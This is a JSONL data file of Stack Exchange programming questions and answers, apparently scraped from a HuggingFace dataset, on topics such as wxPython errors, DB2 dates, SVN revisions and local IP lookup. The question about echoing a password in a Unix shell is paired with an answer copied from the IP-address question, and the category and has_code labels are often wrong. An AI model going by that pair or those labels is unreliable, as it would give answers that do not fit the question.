eax,esi \n}  \n0040116D  mov         ecx,dword ptr [esp+1Ch] \n00401171  mov         dword ptr fs:[0],ecx \n00401178  pop         ecx  \n00401179  pop         esi  \n0040117A  add         esp,20h \n0040117D  ret\n```\n```\nThe line\n```\nvector<int> result\n```\ndoes not call the vector allocator because it is done at call site in\n```\nBar\n```\n. The optimization makes no copy of the result from Foo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.849664"}
{"id": "hf_4c5039fc498a", "question": "<p>How can I scale the content of an iframe (in my example it is an HTML page, and is not a popup) in a page of my web site?</p>\n\n<p>For example, I want to display the content that appears in the iframe at 80% of the original size.</p>\n", "question_body": "", "answer": "I do not think HTML has such functionality. The only thing I can imagine would do the trick is to do some server-side processing. Perhaps you could get an image snapshot of the webpage you want to serve, scale it on the server and serve it to the client. This would be a non-interactive page however. (maybe an imagemap could have the link, but still.)\nAnother idea would be to have a server-side component that would alter the HTML. SOrt of like the firefox 2.0 zoom feature. this of course is not perfect zooming, but is better than nothing.\nOther than that, I am out of ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.963117"}
{"id": "hf_dd60d2cfeb91", "question": "<p>I'm writing a little debug app for a bit of kit we're developing and I'd like to roll it out to a few users to see if they can provoke any crashes. Does anyone know a way of effectively wrapping a wxPython app to catch any and all unhandled exceptions that would cause the app to crash?</p>\n\n<p>Ideally I'd want to capture all output (not just errors) and log it to a file. Any unhandled exceptions ought to log to the current file and then allow the exception to pass on as per usual (i.e. the logging process ought to be transparent).</p>\n\n<p>I'm sure someone must have done something along these lines before, but I've not managed to turn up anything that looks useful via google.</p>\n", "question_body": "", "answer": "There are various ways. You can put a try..catch block in the wxApplication::OnInit, however, that would not always work with Gtk.\nA nice alternative would be to override the Application::HandleEvent in your wxApplication derived class, and write a code like this:\n```\n```\nvoid Application::HandleEvent(wxEvtHandler* handler, wxEventFunction func, wxEvent& event) const\n{\n    try\n    {\n        wxAppConsole::HandleEvent(handler, func, event);\n    }\n    catch (const std::exception& e)\n    {\n        wxMessageBox(std2wx(e.what()), _(\"Unhandled Error\"),\n            wxOK | wxICON_ERROR, wxGetTopLevelParent(wxGetActiveWindow()));\n    }\n}\n```\n```\nIt's a C++ example, but you can surely translate to Python easily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.026183"}
{"id": "hf_527951d84ec3", "question": "<p>I'll regularly get an extract from a DB/2 database with dates and timestaps formatted like this:</p>\n\n<pre><code>2002-01-15-00.00.00.000000\n2008-01-05-12.36.05.190000\n9999-12-31-24.00.00.000000\n</code></pre>\n\n<p>Is there an easier way to convert this into the Excel date format than decomposing with substrings?</p>\n\n<pre><code>DB2date = DateValue(Left(a, 4) + \"/\" + Mid(a, 6, 2) + \"/\" + Mid(a, 9, 2))\n</code></pre>\n\n<p>thanks for your help!</p>\n", "question_body": "", "answer": "I'm sure you could cook something up with Regex's if you really cared to. It wouldn't be any 'better' though, probably worse.\nIf you'll forgive a bit of C# (I havn't touched VB in years, so I don't know the function calls anymore) you could also do:\n```\n```\nDB2string = \"2002-01-15-00.00.00.000000\";\nDB2date = DateValue(DB2string.SubString(0, 10).Replace('-', '/'));\n```\n```\nBut again, you're not really gaining anything. Can you give an example of where your current code would break?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.050354"}
{"id": "hf_0ece04d88629", "question": "<p>I might be an exception here but I have never worked on a team with more than three developers and / or five people. Still we could manage to get the job done (somehow).</p>\n\n<p>Is there a software development process which fits this \"extreme\" scenario? And, if you work as a standalone programmer is there something you can adapt to your daily life to make it more predicatable, coherent, documented and still get the job done?</p>\n", "question_body": "", "answer": "The\nagile methodologies\nare a good starting point because, imho, they are better suited for small groups.\nAs for keeping your personal working pace I'd recommend a method based on TODO lists and some tool like\nTask2Gather\n. You might want to look at\nGTD\n, too.\nThings I would never give up even for a team of me:\nsource version control\nbackups\nTODO\nunit testing/\nTDD\ncode documentation\nrefactoring/code reviews", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.074247"}
{"id": "hf_41889f109619", "question": "<p><a href=\"http://en.wikipedia.org/wiki/Tcl\" rel=\"noreferrer\">Tcl/Tk</a> is a simple way to script small GUIs.</p>\n\n<p>Can anyone give a nice example with a <em>button</em> and a <em>text</em> widget. When the button is pressed should a shell command be executed and the output piped to the <em>text</em> widget.</p>\n\n<p>If you have other nice and clean examples for useful tasks, please add them too.</p>\n", "question_body": "", "answer": "I can give a start...please suggest improvements. I.e I'd like it to scroll as the command is outputting\n```\n```\n#!/usr/bin/wish\n\nproc push_button {} {\n    put_text\n    .main see end\n}\n\nproc put_text {} {\n  set f [ open \"| date\" r]\n  while {[gets $f x] >= 0} {\n    .main insert end \"$x\\n\"    \n  }\n  catch {close $f}\n}\n\nbutton .but -text \"Push Me\" -command \"push_button\"\ntext .main -relief sunken -bd 2 -yscrollcommand \".scroll set\"\nscrollbar .scroll -command \".main yview\"\n\npack .but\npack .main -side left -fill y\npack .scroll -side right -fill y\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.136854"}
{"id": "hf_92d862377fda", "question": "<p>I am trying to remotely run a DTSX package from a bat file with this command:</p>\n\n<pre><code>DTEXEC /DTS \"\\File System\\MY_PACKAGE_NAME\" /SERVER MY_SERVER_NAME /MAXCONCURRENT \" -1 \" /CHECKPOINTING OFF  /REPORTING V\n</code></pre>\n\n<p>This is working fine locally but failing remotely (I do have admin rights on the machine I am pointing to and I have SQL permissions as well) I am getting a timeout error (Login timeout expired).</p>\n", "question_body": "", "answer": "After a bit of research it looks like it is impossible to run DTEXEC remotely (it needs to be run locally - remote execution is not supported).\nTo overcome this limitation the following method seems to be broadly implemented:\nset up a SQL job to run the DTSX package\nset up a Stored Procedure to run the job\nuse isql command line in a BAT file (remotely executed) to run the stored procedure on the relevant SQL instance (with SQL credentials and not machine credentials)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.160886"}
{"id": "hf_12cde9f42e9b", "question": "<p>Is it possible to use oracle instant client for application that use oraoledb driver for connecting to oracle 9i DB.</p>\n", "question_body": "", "answer": "I don't believe so.  The\nInstant Client FAQ\nstates\nWhat can Instant Client be used for?\n  Instant Client can be used to run your OCI, OCCI, Pro\nC, JDBC, and ODBC applications without installing a full Oracle Client. In addition, Instant Client supports SQL\nPlus. As of Instant Client 10.2, it is also possible to develop applications for OCI and OCCI using the Instant Client SDK download.\nOLE DB is conspicuously absent from that list.  Now, potentially, you could use the Microsoft OLE DB to ODBC provider along with the Instant Client and ODBC, but adding additional layers to software is never very fun.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.195323"}
{"id": "hf_9d65532268a2", "question": "<p>Is it possible to create a SQL query which will return one column which contains the dates from a given date range (e.g. all dates from last year till today). E.g.</p>\n\n<pre><code>dat\n----\n2007-10-01\n2007-10-02\n2007-10-03\n2007-10-04\n...\n</code></pre>\n\n<p>I am wondering if this is possible as an alternative to creating a table which holds all those dates precalculated.</p>\n\n<p><strong>Updated:</strong> I need a solution for MYSQL. I am not interested in any other DBs in this case.</p>\n", "question_body": "", "answer": "AFAIK you cannot do that with a single SQL query. However the following block of code will do the job.\nCurrently in Transact-SQL (for SQL Server). I do not know how this translates to MySQL.\n```\n```\nDECLARE @start datetime\nDECLARE @end datetime\nDECLARE @results TABLE\n(\n   val datetime not null\n)\nset @start = '2008-10-01'\nset @end = getdate()\nwhile @start < @end\nbegin\n    insert into @results values(@start)\n    SELECT @start = DATEADD (d, 1, @start)\nend\nselect val from @results\n```\n```\nThis outputs:\n```\n```\n2008-10-01 00:00:00.000\n2008-10-02 00:00:00.000\n2008-10-03 00:00:00.000\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.268242"}
{"id": "hf_62110999f1f5", "question": "<p>what is the best way of displaying/using the revision number in a java webapp?</p>\n\n<p>we just use ant to build our .war archive, no buildserver or such. i'd hope there was some kind if $ref that i could write in a resource file, but this is only updated when the file in question is committed. i need it globally.</p>\n\n<p>what would you recommend? post-commit triggers that update certain files?\ncustom ant scripts? is there a more non-hacky way of doing this?\nor it it better to have my own version number independent of svn.</p>\n\n<p>edit: great suggestions! thanks a lot for the answers!</p>\n", "question_body": "", "answer": "See\nthis thread\n.\nMy favourite from that thread is just dumping\n```\n$Id:$\n```\nin your code where you want the revision ID. SVN will populate that with the real data when you do an export.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.292486"}
{"id": "hf_f4ce30621f08", "question": "<p>I noticed last night that the WCF extensions for Visual Studio 2005 aren't available on their site any longer.  I've read that they want people to use Visual Studio 2008 for WCF/WF/WPF.</p>\n\n<p>Have they made an official statement regarding this?</p>\n\n<p>edit:</p>\n\n<p>I already have the CTP3 for VS2005.  I want to know what Microsoft's <strong>official</strong> stance is.  Yes, I've read the threads and the blogs.  If a blog post is all that is needed to make it official then so be it.</p>\n", "question_body": "", "answer": "There was never anything but CTP released for MS Visual Studio 2008\nAccording to\nthis\nthread MS wants you to move to Visual Studio 2008.\nThis\nblog\npost confirms that.\nYou could still download the\nCTP3 for Visual Studio 2005\nfrom a third-party server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.317162"}
{"id": "hf_2c69aeb3e815", "question": "<p>Since content of web applications is dynamically generated it would appear that AdSense is not going to produce relevant ads.</p>\n\n<p>Is there a way to increase relevancy of the AdSense ads for the web application?</p>\n\n<p>Is it possible to achieve Gmail-like ad functionality at all for third-party applications?</p>\n\n<p>Is there a better ad provider for web apps than Google?</p>\n", "question_body": "", "answer": "No, it's not really suitable. As you know, AdSense is based on page content and that's rarely going to target the correct ads unless your site is very focused on one advertising niche.\nIf you run a huge web-app that gets many millions of pageviews, then you might be able to get something worked out with Google privately. Otherwise, you're left to see what the best of the rest has to offer.\nChitika\ndoes have the power to let you specify what niches you want to display adverts from... But their rates and even their quality of adverts aren't up there with Googles. Have a look around. There are thousands of advertising providers and I'm sure you'll find one that fits your model.\n... But it's not Google at the moment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.366049"}
{"id": "hf_dce773c42a23", "question": "<p>I have some simple shell scripting tasks that I want to do   </p>\n\n<p>For example: Selecting a file in the working directory from a list of the files matching some regular expression.</p>\n\n<p>I know that I can do this sort of thing using standard bash and grep but I would be nice to be able to hack quick scripts that will work in windows and linux without me having to memorize a heap of command line programs and flags etc.</p>\n\n<p>I tried to get this going but ended up getting confused about where I should be getting information such as a reference to the current directory</p>\n\n<p>So the question is what parts of the Ruby libraries do I need to know to write ruby shell scripts?</p>\n", "question_body": "", "answer": "\"How do I write ruby\" is a little beyond the scope of SO.\nBut to turn these ruby scripts into executable scripts, put this as the first line of your ruby script:\n```\n```\n#!/path/to/ruby\n```\n```\nThen make the file executable:\n```\n```\nchmod a+x myscript.rb\n```\n```\nand away you go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.403915"}
{"id": "hf_483294ac02dc", "question": "<p>The ASP.NET application that I am currently responsible for at my day job has hit its limit in terms of its ability to scale inside a single server. Obviously we are working toward moving session out of process and the test and hopefully deploy date draws near. I would like to draw on the experiencies of people using the built in load balancing in Windows vs. an appliance solution such as one by Baracudda, Coyote Point, F5 etc. Did you start with one and move to the other and why ?</p>\n\n<p>thoughts and advice appreciated in advance...</p>\n", "question_body": "", "answer": "some thoughts\nWLBS is often \"good enough\" to get you started with NLB.  However like any great engineer - you need to \"measure to know\"\nits not just about scale-up its about soft or hard redundancy too.  We often NLB between VMs just to give us soft redundancy.\nNLB applies just as much to back-edge as well as front-edge networks\nstepping up to hardware acceleration brings you a new degree of ops costs.  New training specialized support, escalation etc.\nlook for hardware acceleration to give you a lot more than NLB e.g. DDoS protection, SSL, Compression, Caching, Content Switching, Connection Aggregation, Buffering.\neducate both Devs & Ops SE's about hardware acceleration benefits,a great design can merge the line between network operations and application development.\nhardware buffering on it's own made our ASP.NET around 30% quicker just by reducing our GC time.\ncontent switching can enable you to transparently merge or migrate disparate systems.  We merged MSDN & MSDN2 platforms into a single url space using this technique.\nsession stickyness is a dual edged sword - use sparingly - again no substitute for good engineering - measure and test\neverything\nWe use both WLBS and NLB within our network - cost often drives the conversation.  Treat both as tools in the toolbox, learn their nuances, cost models etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.429191"}
{"id": "hf_5d3c66d993c9", "question": "<p>I wonder what's the best deployment directory for Rails apps? Some developers use directories such as <code>/u/apps/#{appname}</code>. Are there <strong>any</strong> advantages when using <code>/u/apps/#{appname}</code> instead of <code>/var/www/#{appname}</code> or other OS default directories?</p>\n\n<p>Obviously I want to pick the directory with the best security properties and the least friction for setting up the server environment.</p>\n\n<p>How do you deploy your Rails apps? Why are you using a specific directory? Do you think it really matters anyway?</p>\n", "question_body": "", "answer": "I tend to create a dedicated user for each rails app I run and install, and add that user to the\n```\nwww-data\n```\ngroup. So, I tend to have\n```\n/home/mephisto/www\n```\n,\n```\n/home/warehouse/www\n```\nand so on.\nI do this purely for organization, and I don't think it matters much.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.490052"}
{"id": "hf_bebecb328af2", "question": "<p>I was wondering if it would be possible to retrieve the complete list of security roles defined in a web.xml file in the java code? And if so how to do it?</p>\n\n<p>I am aware of the 'isUserInRole' method but I also want to handle cases where a role is requested but not defined (or spelled differently) in the web.xml file.</p>\n", "question_body": "", "answer": "As far as I know, there's no way do do this within the Servlet API.  However, you can parse web.xml directly and extract the values yourself.  I used dom4j below, but you can use whatever XML processing stuff you like:\n```\n```\nprotected List<String> getSecurityRoles() {\n    List<String> roles = new ArrayList<String>();\n    ServletContext sc = this.getServletContext();\n    InputStream is = sc.getResourceAsStream(\"/WEB-INF/web.xml\");\n\n    try {\n        SAXReader reader = new SAXReader();\n        Document doc = reader.read(is);\n\n        Element webApp = doc.getRootElement();\n\n        // Type safety warning:  dom4j doesn't use generics\n        List<Element> roleElements = webApp.elements(\"security-role\");\n        for (Element roleEl : roleElements) {\n            roles.add(roleEl.element(\"role-name\").getText());\n        }\n    } catch (DocumentException e) {\n        e.printStackTrace();\n    }\n\n    return roles;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.525454"}
{"id": "hf_778d91b66c4d", "question": "<p>I have a web application that generates a long report and I need to print it. If I just print the page it will break at the end of the physical page. How can I calculate where to make a break in the web page so that the page breaks line up with the physical pages when they print?</p>\n", "question_body": "", "answer": "Paged media\nPrint Reference\npage-break-after\n(\nMDN\n)\npage-break-before\n(\nMDN\n)\npage-break-inside\n(\nMDN\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.573378"}
{"id": "hf_f75e8e7eff1b", "question": "<p>I find it annoying that I can't clear a list. In this example:</p>\n\n<pre><code>a = []\na.append(1)\na.append(2)\n\na = []\n</code></pre>\n\n<p>The second time I initialize a to a blank list, it creates a new instance of a list, which is in a different place in memory, so I can't use it to reference the first, not to mention it's inefficient.</p>\n\n<p>The only way I can see of retaining the same pointer is doing something like the following:</p>\n\n<pre><code>for i in range(len(a)):\n    a.pop()\n</code></pre>\n\n<p>This seems pretty long-winded though, is there a better way of solving this?</p>\n", "question_body": "", "answer": "You are looking for:\n```\n```\ndel L[:]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.610210"}
{"id": "hf_886b0c223afd", "question": "<p>I have never quite understood how/why I would use Maven modules (reactor builds).</p>\n\n<p>We have tens of libraries that we share (as dependencies) among our products, and between libraries as well.  If we were to switch to making them Maven modules, how would we set it up, both in SVN and in our working copies?</p>\n\n<p>Do Maven modules really need to be subfolders? Do they need to be subfolders in the SVN repo too?</p>\n\n<p>Assuming you just need subfolders in the working copy, I suppose <code>svn:externals</code> would work to make, say, a \"util\" library be a module of multiple projects at the same time.  But I've read many bad things about using <code>svn:externals</code> because there is nothing to stop you from modifying the code in the external, but its not tracked.  </p>\n\n<p>Any suggestions?  Am I missing the boat on modules?</p>\n", "question_body": "", "answer": "No ... a modular project should only be used when the child project is integrated into the parent to create a larger artifact, so an example might be an Enterprise project, where your modules contain the EJB (server and client), the WAR, and then those are combined into an EAR file.  This modularity is only for convenience and can be skipped if preferred.\nIn the case of reusable libraries, make them independent projects and deploy them to a shared repository.  Then they must be referenced as dependencies in the project using them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.659366"}
{"id": "hf_14d687c55b60", "question": "<p>In a C++ file, I have a code like this:</p>\n\n<pre><code>#if ACTIVATE\n#   pragma message( \"Activated\" )\n#else\n#   pragma message( \"Not Activated\")\n#endif\n</code></pre>\n\n<p>I want to set this ACTIVE define to 1 with the msbuild command line.</p>\n\n<p>It tried this but it doesn't work:</p>\n\n<pre><code>msbuild /p:DefineConstants=\"ACTIVATE=1\"\n</code></pre>\n\n<p>Any idea?</p>\n", "question_body": "", "answer": "I think you want:\n```\n```\n/p:DefineConstants=ACTIVATE\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.683533"}
{"id": "hf_44b2056ace78", "question": "<p>I have a .bat and inside the .bat i would like to execute a special code if there's some modification inside the svn repository (for example, compile).</p>\n", "question_body": "", "answer": "Are you wanting this to be reactive? Or, on-demand?\nFor reactive, see\nhooks\n. The script will have to be named according to it's purpose:\npre-commit.bat\n,\npost-commit.bat\n. The scripts are called as:\n[script] [repos-path] [revision-number]\nFor, on-demand:\nWorking Copy\nsvn log\nsvn st\nsvn diff\nsvn proplist\nRepository\nsvnlook author\nsvnlook changed\nsvnlook date\nsvnlook diff\nsvnlook history\nExample:\n```\n```\nsvn st \"C:\\path\\to\\working\\directory\\\" >> C:\\path\\to\\working\\project.log\n```\n```\nEvery time you run the BAT, it'll add the\nst\noutput to\nproject.log\n. Adjust as needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.719235"}
{"id": "hf_ceeeda7c1776", "question": "<p>How do I set the code page to UTF-8 in a C Windows program?  </p>\n\n<p>I have a third party library that uses fopen to open files. I can use wcstombs to convert my Unicode filenames to the current code page, however if the user has a filename with a character outside the code page then this breaks.  </p>\n\n<p>Ideally I would just call _setmbcp(65001) to set the code page to UTF-8, however the MSDN documentation for _setmbcp states that UTF-8 is not supported.  </p>\n\n<p>How can I get around this?</p>\n", "question_body": "", "answer": "All Windows APIs think in UTF-16, so you're better off writing a wrapper around your library that converts at the boundaries.\nOddly enough, Windows thinks UTF-8 is a codepage for the purposes of conversion, so you use the same APIs as you would to convert between codepages:\n```\n```\nstd::wstring Utf8ToUtf16(const char* u8string)\n{\n    int wcharcount = strlen(u8string);\n    wchar_t *tempWstr = new wchar_t[wcharcount];\n    MultiByteToWideChar(CP_UTF8, 0, u8string, -1, tempWstr, wcharcount);\n    wstring w(tempWstr);\n    delete [] tempWstr;\n    return w;\n}\n```\n```\nAnd something of similar form to convert back.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.757091"}
{"id": "hf_912260928230", "question": "<p>How can I find local IP addresses (i.e. 192.168.x.x or 10.0.x.x) in Python platform independently and using only the standard library?</p>\n", "question_body": "", "answer": "```\n```\nimport socket\nsocket.gethostbyname(socket.gethostname())\n```\n```\nThis won't work always (returns\n```\n127.0.0.1\n```\non machines having the hostname in\n```\n/etc/hosts\n```\nas\n```\n127.0.0.1\n```\n), a paliative would be what gimel shows, use\n```\nsocket.getfqdn()\n```\ninstead. Of course your machine needs a resolvable hostname.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.781877"}
{"id": "hf_8f94f30d27dd", "question": "<p>Is there any way so that i can echo password when asked for in unix shell without use of external binaries ? Something like simple function triggered when password prompt is displayed</p>\n", "question_body": "", "answer": "```\n```\nimport socket\nsocket.gethostbyname(socket.gethostname())\n```\n```\nThis won't work always (returns\n```\n127.0.0.1\n```\non machines having the hostname in\n```\n/etc/hosts\n```\nas\n```\n127.0.0.1\n```\n), a paliative would be what gimel shows, use\n```\nsocket.getfqdn()\n```\ninstead. Of course your machine needs a resolvable hostname.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.807844"}
{"id": "hf_6ed14dbf4c4f", "question": "<p>Sorry for the long question title.</p>\n\n<p>I guess I'm on to a loser on this one but on the off chance.</p>\n\n<p>Is it possible to make the calculation of a calculated field in a table the result of an aggregate function applied to a field in another table.</p>\n\n<p>i.e.</p>\n\n<p>You have a table called 'mug', this has a child called 'color' (which makes my UK head hurt but the vendor is from the US, what you going to do?) and this, in turn, has a child called 'size'. Each table has a field called sold.</p>\n\n<p>The size.sold increments by 1 for every mug of a particular colour and size sold.</p>\n\n<p>You want color.sold to be an aggregate of SUM size.sold WHERE size.colorid = color.colorid</p>\n\n<p>You want mug.sold to be an aggregate of SUM color.sold WHERE color.mugid = mug.mugid</p>\n\n<p>Is there anyway to make mug.sold and color.sold just work themselves out or am I going to have to go mucking about with triggers?</p>\n", "question_body": "", "answer": "No, it is not possible to do this.  A computed column can only be derived from the values of other fields on the same row.  To calculate an aggregate off another table you need to create a view.\nIf your application needs to show the statistics ask the following questions:\nIs it really necessary to show this in real time?  If so, why?  If it is really necesary to do this, then you would have to use triggers to update a table.\nThis\nlinks to a short wikipedia article on denormalisation.  Triggers will affect write performance on table updates and relies on the triggers being active.\nIf it is only necessary for reporting purposes, you could do the calculation in a view or a report.\nIf it is necessary to support frequent ad-hoc reports you may be into the realms of a data mart and overnight ETL process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.832320"}
{"id": "hf_06bab7d48c28", "question": "<p>Does NetworkStream.DataAvailable know whether the sender's send buffer is empty? Or does it simply indicate whether the receiver's read buffer has data? My assumption is the latter...</p>\n\n<p>Specifically, for some socket work involving an ongoing conversation, I currently use a length-prefix so the the receiver knows exactly how much data is in the current batch; however, I've been sent a .patch suggesting I use NetworkStream.DataAvailable instead. My concern is that this will just tell me what the receiver has got - not what the sender originally sent - but I'm not a sockets expert.</p>\n\n<p>Am I wrong? Or is length-prefix the way to go?</p>\n\n<p>(note I can't simply Read() until the stream is closed, since multiple batches are sent on the same connection, and it is vital that I treat each batch as separate; if I read too much in one batch (even if it gets buffered and discarded) then the conversation will break).</p>\n", "question_body": "", "answer": "One side of a connection is not going to know whether the other side's send buffer is empty.\n```\nDataAvailable\n```\nonly indicates whether there is incoming data to be read. You could use that prior to\n```\nRead()\n```\n, but it alone doesn't give you the information you want. It doesn't tell you the beginning and ending of each batch.\nI've coded back-and-forth conversation before, and I used length-prefixes in the data. What I did was write helper functions that read an exact number of bytes (chunks at a time) and no more.\nThe only alternative to length-of-batch values in the stream is some way of examining the incoming data and recognizing the beginnings and endings of batches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.857724"}
{"id": "hf_12f5b74d5ce0", "question": "<p>How can I find the public facing IP for my net work in Python?</p>\n", "question_body": "", "answer": "This will fetch your remote IP address\n```\n```\nimport urllib\nip = urllib.urlopen('http://automation.whatismyip.com/n09230945.asp').read()\n```\n```\nIf you don't want to rely on someone else, then just upload something like this PHP script:\n```\n```\n<?php echo $_SERVER['REMOTE_ADDR']; ?>\n```\n```\nand change the URL in the Python or if you prefer ASP:\n```\n```\n<%\nDim UserIPAddress\nUserIPAddress = Request.ServerVariables(\"REMOTE_ADDR\")\n%>\n```\n```\nNote: I don't know ASP, but I figured it might be useful to have here so I googled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.906174"}
{"id": "hf_e012319d8f3c", "question": "<p>I'm trying to handle this possible exploit and wondering what is the best way to do it? should i use apache's common-validator and create a list of known allowed symbols and use that?</p>\n", "question_body": "", "answer": "From the\nwikipedia article\n:\nThe generic solution is to URL-encode strings before inclusion into HTTP headers such as Location or Set-Cookie.\nTypical examples of sanitization include casting to integer, or aggressive regular expression replacement. It is worth noting that although this is not a PHP specific problem, the PHP interpreter contains protection against this attack since version 4.4.2 and 5.1.2.\nEdit\nim tied into using jsp's with java actions!\nThere don't appear to be any JSP-based protections for this attack vector - many descriptions on the web assume asp or php, but\nthis link\ndescribes a fairly platform-neutral way to approach the problem (jsp used as an incidental example in it).\nBasically your first step is to indentify the potentially hazardous characters (CRs, LFs, etc) and then to remove them. I'm afraid this about as robust a solution as you can hope for!\nSolution\nValidate input. Remove CRs and LFs (and all other hazardous characters) before embedding data into any HTTP response headers, particularly when setting cookies and redirecting. It is possible to use third party products to defend against CR/LF injection, and to test for existence of such security holes before application deployment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.956471"}
